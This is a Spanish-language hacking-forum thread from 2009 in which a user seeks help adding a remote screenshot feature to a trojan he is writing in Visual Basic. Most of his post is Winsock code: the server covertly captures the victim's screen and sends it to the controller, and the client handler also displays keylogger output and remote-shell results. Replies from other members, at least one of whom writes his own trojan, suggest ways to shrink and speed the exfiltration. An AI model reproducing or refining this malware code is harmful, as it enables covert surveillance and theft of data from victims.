elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Problema con envio de imagen bmp en VB
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con envio de imagen bmp en VB  (Leído 2,767 veces)
50l3r


Desconectado Desconectado

Mensajes: 784


Solo se que se algo pero no me acuerdo


Ver Perfil WWW
Problema con envio de imagen bmp en VB
« en: 23 Julio 2009, 15:30 pm »

Veran para la 5 version del dioxis queria acoplarle un visor de capturas del host remoto

Lo ya realizado y conseguido con exito ha sido que la cree en el lugar donde se dice en el host remoto, ahora me toca la parte en la que la tengo que enviar

Despues de ir a recursosvb y demas, encontre ejemplos pero que no me han llegado a funcionar bien

La estructura que tengo que seguir es esta

Cliente ordena a servidor que realize la captura
Servidor realiza la captura y manda el tamaño
El cliente recoge el tamaño y manda un mensaje para que envie los datos
El cliente manda los datos

Aqui es donde esta la duda, en el dataarrival del cliente lo tengo asi

Código:
dim devu as string
wsk.getdata devu

ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien

con esto quiero decir que si no defino la variable, para variant no funciona, si la pongo en byte no me tiran las ordenes con strings y si la pongo en byte no me funcionan los strings


alguna ayuda quien lo haya entendido?



En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: Problema con envio de imagen bmp en VB
« Respuesta #1 en: 23 Julio 2009, 15:58 pm »

  :)

  Yo estuve haciendo eso con puertos UDP en c+++ no solo imagenes sino archivos xls,ppt,doc,accb XD  :¬¬ y nunca me llegaba el archivo integro lo que hice fue especificar en el los dos programas cliente y servidor que se envia y se recibe un stream no un string. y emviaba el archivo por partes si era muy grande jeje  :P.

Saludos


« Última modificación: 23 Julio 2009, 16:05 pm por Jaixon Jax » En línea

50l3r


Desconectado Desconectado

Mensajes: 784


Solo se que se algo pero no me acuerdo


Ver Perfil WWW
Re: Problema con envio de imagen bmp en VB
« Respuesta #2 en: 23 Julio 2009, 16:00 pm »

ya, pero alguna idea para esto?

porque el problema esta en la variable, o envio strings o bytes
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: Problema con envio de imagen bmp en VB
« Respuesta #3 en: 23 Julio 2009, 16:16 pm »

 ;D

  Si estas capturando una instantanea de la pantalla y lo estas guardando en bmp Xd en que andas?  :silbar: estos archivos por lo general son grandes de mas de 1MB  :o lo que lo hace muy grande para enviar mas cuando el ancho de banda es limitado como el mio que apenas raya los 30kb  :-( por lo que lo tienes que comprimir y al hacerlo te queda en 80Kb  ;D no se mucho de visual basic pero si tal vez leyeras segmentos del archivo en un stream y lo envias como tal y el el receptor recbiera esos datos como stream claro cliente y servidor de mismo tamaño el puntero  ;) y lo vas uniendo creo que funcionaria mas.

  Saludos  :laugh:
En línea

50l3r


Desconectado Desconectado

Mensajes: 784


Solo se que se algo pero no me acuerdo


Ver Perfil WWW
Re: Problema con envio de imagen bmp en VB
« Respuesta #4 en: 23 Julio 2009, 16:18 pm »

lo mejor sera cambiarlo a jpg, me mirare algo por ahi, pero en cuanto a la variable... haber que hago
En línea

yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Re: Problema con envio de imagen bmp en VB
« Respuesta #5 en: 23 Julio 2009, 17:29 pm »

Cliente ordena a servidor que realize la captura
Servidor realiza la captura y manda el tamaño
El cliente recoge el tamaño y manda un mensaje para que envie los datos
El cliente manda los datos

Citar
El cliente manda los datos
Parece que ahi debio ser "Servidor envia los datos"

y a modo de sugerencia puedo decirte los sgte en cuanto a tus capturas:
  • Definitivamente tienes que pasar el BMP a JPG, usando por ejemplo el GDI Plus, en la red hay una clase para basic que usa esas APIS y esta listo para usar
  • Para acelerar la transferencia de la captura, tambien puedes convertirla a escala de grises, de ese modo el archivo ademas de estar en JPG, esta en solo 2 colores (blanco y negro) por lo que se consigue una disminucion entre el 25 y 30% del tamaño original
  • Para reducir mas aun el tiempo de transferencia y el tamaño del archivo puedes "ESCALAR"  la captura, este metodo me ha dado resultados extraordinarios pues una captura de toda la pantalla me ha llegado a pesar 1KB (Un KB), por supuesto que es una captura muy pequeña, de 20x20 pixeles por ejemplo, pero se entiende muy bien pudiendo aumentar el zoom pero sin sobrepasarse en el tamaño, un buen escalado a 8x o 9x en donde se ve casi todo no pasa de los 20 o 25KB y eso es muy muy aceptable para transferirlo
  • Pero hay mas, puedes trozear la captura, es decir que solo mandes a capturar una zona de la pantalla a determinada resolucion, a determinado tamaño, e incluso covertido a escala de grises y escalado, con lo que consigues, buenas capturas, nitidas y de menor tamaño, para una facil transferencia
  • y esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono


Citar
Código:
dim devu as string
wsk.getdata devu

ya que todo el troyano consta de envio de strings, ahora se me presenta la siguiente complicacion, si el devu no es byte, los datos no se recibien bien y si es byte los strings no se reciben bien
La transferencia de archivos se hace a puro "strings", y no solo de archivos sino de cualquier cosa... si "devu" es string, no hay ningun problema, tu captura se recibira sin problemas en esa variable, claro que hay que estar acumulando cada vez que el servidor vaya enviando el archivo de la captura.
Citar
con esto quiero decir que si no defino la variable, para variant no funciona
Particularmente no uso nunca el tipo variant




En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 859



Ver Perfil
Re: Problema con envio de imagen bmp en VB
« Respuesta #6 en: 23 Julio 2009, 17:48 pm »

Citar
y esta por ultimo el metodo que aun no lo tengo en mi troyanin, el que consiste en pasar toda la captura a un array y verificar los cambios respecto a otra captura, una escena en donde solo se enviarian los bytes que cambiaron... eso ya es para una verdadera captura en tiempo real... hubo alguien por aqui que emprendio dicho trabajo pero sino me equivoco lo abandono

  Digo no para esto tambien seria optimo la captura de video por alli hay unas librerias que permiten hacer todo esto. Pero me parece que hacer esto en el clasico cliente servidor es un poco arriesgado por la cuestion de las ip y los ISP  :silbar: Otra cosa si las imagenes a comparar son capturas de pantalla la podemos comparar por simple comparacion de pixel y ajustar cierto coeficiente de parecido que sean un 80 o 90% en cambio si son fotos ya hay que recurrir a redes neuronales  :huh: XD.
« Última modificación: 23 Julio 2009, 17:50 pm por Jaixon Jax » En línea

50l3r


Desconectado Desconectado

Mensajes: 784


Solo se que se algo pero no me acuerdo


Ver Perfil WWW
Re: Problema con envio de imagen bmp en VB
« Respuesta #7 en: 23 Julio 2009, 17:54 pm »

asi que con string pasaria? ok, y que lo guardo asi directamente en la imagen?

mira un poquitin esta es la estructura:

El cliente manda la señal para que capture la imagen, la guarde y envie el tamaño


Código
  1. Private Sub Command1_Click()
  2. wsk.SendData "<<-envia-capt->>"
  3. imag3n = "encendido"
  4. End Sub



El servidor coge la señal y manda el tamaño y demas

Código
  1. ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
  2. If ordenimgenv <> 0 Then
  3. Call Capturar_Guardar
  4. End If


Código
  1. Private Sub Capturar_Guardar()
  2. Dim rutaimg As String
  3. MsgBox "cogiendo captura"
  4. rutaimg = Environ$("homedrive") & "\cap.bmp"
  5. If Dir(rutaimg) <> "" Then Kill rutaimg
  6. Clipboard.Clear ' limpiar clipboard
  7. Call keybd_event(44, 2, 0, 0) ' apretar impr pant
  8. DoEvents
  9. If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
  10. If Dir(rutaimg) <> "" Then
  11. wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
  12. MsgBox "envie los datos"
  13. End If
  14. End Sub


El cliente recibe el tamaño y pone la variable imag3n = noimagen para poder recibir los datos y avisa al servidor que le mande los datos

Código
  1. If imag3n = "encendido" Then
  2.    MsgBox "entra a coger tamaño"
  3.        wsk.GetData vData, vbString
  4.        MsgBox vData
  5.        averiarc = InStr(1, vData, ">>|Archivo|<<")
  6.        If averiarc = 0 Then
  7.            imag3n = "noencendido"
  8.            lBytes = 0
  9.            vData = Split(vData, ">>|Archivo|<<")
  10.            lFileSize = vData(1)
  11.            MsgBox "tamaño: " & vData(1)
  12.            ' Le enviamos como mensaje al cliente que comienze el envio del archivo
  13.            wsk.SendData "<<--envia-datos-->>"
  14.  
  15.            'Creamos un archivo en modo binario
  16.            Open rutaimg For Binary Access Write As #1


El servidor recibe la orden y manda los datos


Código
  1. ordenimgenv2 = InStr(1, orden, "<<--envia-datos-->>")
  2. If ordenimgenv2 <> 0 Then
  3. Call enviar_img
  4. End If


Código
  1. Private Sub enviar_img()
  2. Dim imagen As String
  3. Dim Size As Long
  4. Dim arrData() As Byte
  5.  
  6. imagen = Environ$("homedrive") & "\cap.bmp"
  7.  
  8. Open imagen For Binary Access Read As #1 ' abrimos la captura
  9.  
  10. Size = LOF(1) ' obtenemos el tamaño de la captura
  11. ReDim arrData(Size - 1) ' redimensionamos la variable
  12. Get #1, , arrData ' le pasamos todo a la variable
  13. Close
  14.  
  15. wsk.SendData arrData
  16. End Sub


El cliente esta preparado ya para recibir el archivo

Código
  1. ElseIf imag3n = "noencendido" Then
  2.    MsgBox "entra a coger los datos"
  3.        ' Aumentamos lBytes con los datos que van llegando
  4.        lBytes = lBytes + bytesTotal
  5.        'Recibimos los datos y lo almacenamos en el arry de bytes
  6.        wsk.GetData arrData
  7.  
  8.        'Escribimos en disco el array de bytes, es decir lo que va llegando
  9.        Put #1, , arrData
  10.  
  11.        ' Si lo recibido es mayor o igual al tamaño entonces se terminó y cerramos
  12.        'el archivo abierto
  13.        If lBytes >= lFileSize Then
  14.            'Cerramos el archivo
  15.            Close #1
  16.            'Reestablecemos el flag y la variable lBytes por si se intenta enviar otro archivo
  17.            flag = False
  18.            lBytes = 0
  19.            'Mostrar mensaje de finalización
  20.            MsgBox "El archivo se ha recibido por completo"
  21. imag3n = ""
  22.        End If
  23.    End If
  24.  


Luego en todo caso de que no se quiera recibir imagen sigue con lo demas

Código
  1. Else
  2.  
  3.  
  4. wsk.GetData devu
  5.  
  6. nickcmpr = InStr(1, devu, "<<necesito-nick>>")
  7. If nickcmpr <> 0 Then
  8. MsgBox "Al parecer " & wsk.RemoteHostIP & " necesita nick :_"
  9. nick = InputBox("Pon el nick que desees a " & wsk.RemoteHostIP, "Ingresando nick", "")
  10. wsk.SendData "<<toma-nick>>" & nick
  11. txtnick = nick
  12. Exit Sub
  13. End If
  14.  
  15. nickcmprr = InStr(1, devu, "<<NICK>>")
  16. If nickcmprr <> 0 Then
  17. ola = Split(devu, "<<NICK>>")
  18. txtnick = ola(1)
  19. Exit Sub
  20. End If
  21.  
  22. For i = 0 To Len(devu)
  23. busca = InStr(1, devu, ">>|chating>>")
  24. Next
  25.  
  26. If busca <> 0 Then
  27.  
  28. mens = Split(devu, ">>|chating>>")
  29.  
  30. frmchat.Text1.Text = frmchat.Text1.Text & vbCrLf & "El usuario remoto te dice:" & vbCrLf & mens(1) & vbCrLf
  31. Exit Sub
  32. End If
  33.  
  34.  
  35. If Left(devu, 10) = "\\TECLAS//" Then
  36.  
  37. keyko = Split(devu, "\\TECLAS//")
  38.  
  39. If devu = Chr(13) Then ' si encuentra un enter
  40. frmklg.txtkey.Text = frmklg.txtkey.Text & vbCrLf
  41. Exit Sub
  42. End If
  43.  
  44. If devu = Chr(9) Then frmklg.txtkey.Text = frmklg.txtkey.Text & Chr(9) ' si encuentra un tabulador
  45.  
  46. escribiendo:
  47. frmklg.txtkey.Text = frmklg.txtkey.Text + keyko(1)
  48. Exit Sub
  49. End If
  50.  
  51.  
  52.  
  53. ' ordenes shell remota
  54.  
  55. txtdlv.Text = devu
  56.  
  57. Exit Sub
  58. End If
  59. End Sub

En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Problema con envio de imagen bmp en VB
« Respuesta #8 en: 23 Julio 2009, 21:07 pm »

en el WinSock del Servidor puedes espesificar la obtencion de datos de la siguiente forma

Código
  1. winsock.getdata Datos, vbString
  2. ó
  3. w.GetData datos, vbByte ' Este nunca lo prove
  4.  
  5.  


pero si deseas otra forma puede generar una funcion que transforme el byte en string y viceversa¡!

Dulces Lunas.
En línea

The Dark Shadow is my passion.
yovaninu


Desconectado Desconectado

Mensajes: 349



Ver Perfil
Re: Problema con envio de imagen bmp en VB
« Respuesta #9 en: 23 Julio 2009, 22:27 pm »

Citar
Código
  1. Private Sub Command1_Click()
  2. wsk.SendData "<<-envia-capt->>"
  3. imag3n = "encendido"
  4. End Sub

de preferencia usa un booleano para el flag que indicara la recepcion del A R C H I V O de la imagen, por que a las finales es solo eso un archivo.

Citar
Código
  1. ordenimgenv = InStr(1, orden, "<<-envia-capt->>")
  2. [/quote]
  3. usa split, es mas comodo, no deberias liarte mucho con InSTR
  4.  
  5.  
  6. [quote]
  7. [code=vb]Private Sub Capturar_Guardar()
  8. Dim rutaimg As String
  9. MsgBox "cogiendo captura"
  10. rutaimg = Environ$("homedrive") & "\cap.bmp"
  11. If Dir(rutaimg) <> "" Then Kill rutaimg
  12. Clipboard.Clear ' limpiar clipboard
  13. Call keybd_event(44, 2, 0, 0) ' apretar impr pant
  14. DoEvents
  15. If Clipboard.GetFormat(vbCFBitmap) Then SavePicture Clipboard.GetData(vbCFBitmap), rutaimg ' si es bmp guarda en system
  16. If Dir(rutaimg) <> "" Then
  17. wsk.SendData ">>|Archivo|<<" & FileLen(rutaimg)
  18. MsgBox "envie los datos"
  19. End If
  20. End Sub
Citar
te recomiendo que uses otro metodo para capturar la pantalla y no usando la tecla print screen, en vez de ello puedes usar la API bitblt y al respecto encontraras muchas info en el tio google ademas de ser tambien mucho mas cómodo.


Citar
Código
  1. If imag3n = "encendido" Then
  2.    MsgBox "entra a coger tamaño"
  3.        wsk.GetData vData, vbString
  4.        MsgBox vData
  5.        averiarc = InStr(1, vData, ">>|Archivo|<<")
  6.        If averiarc = 0 Then
  7.            imag3n = "noencendido"
  8.            lBytes = 0
  9.            vData = Split(vData, ">>|Archivo|<<")
  10.            lFileSize = vData(1)
  11.            MsgBox "tamaño: " & vData(1)
  12.            ' Le enviamos como mensaje al cliente que comienze el envio del archivo
  13.            wsk.SendData "<<--envia-datos-->>"
  14.  
  15.            'Creamos un archivo en modo binario
  16.            Open rutaimg For Binary Access Write As #1

mira me parece mucho lio, la cosa es simple una vez que el servidor empieza a enviar los datos del archivo (cuando en el cliente el flag este a true), tu lo vas recibendo y acumulando en una variable, luego si el tamaño de dicha variable es igual al tamaño que mas antes recibiste entonces es recien ahi donde creas el archivo y dentro escribes toda la variable (archivo)


Citar
Código
  1. Private Sub enviar_img()
  2. Dim imagen As String
  3. Dim Size As Long
  4. Dim arrData() As Byte
  5.  
  6. imagen = Environ$("homedrive") & "\cap.bmp"
  7.  
  8. Open imagen For Binary Access Read As #1 ' abrimos la captura
  9.  
  10. Size = LOF(1) ' obtenemos el tamaño de la captura
  11. ReDim arrData(Size - 1) ' redimensionamos la variable
  12. Get #1, , arrData ' le pasamos todo a la variable
  13. Close
  14.  
  15. wsk.SendData arrData
  16. End Sub
ademas no hay necesidad de pasar la imagen a un array, tu solo declara una variable string asi:
Código:
Dim DatosArchivo As String
y en esa variable sacas el contenido de la imagen, y es todo.


Suerte con tu capturador, y solo se trata de un archivo mas comun y corriente, saludos.[/code]
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema con imagen en PHP
PHP
Riki_89D 1 1,599 Último mensaje 6 Diciembre 2010, 12:36 pm
por seele
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines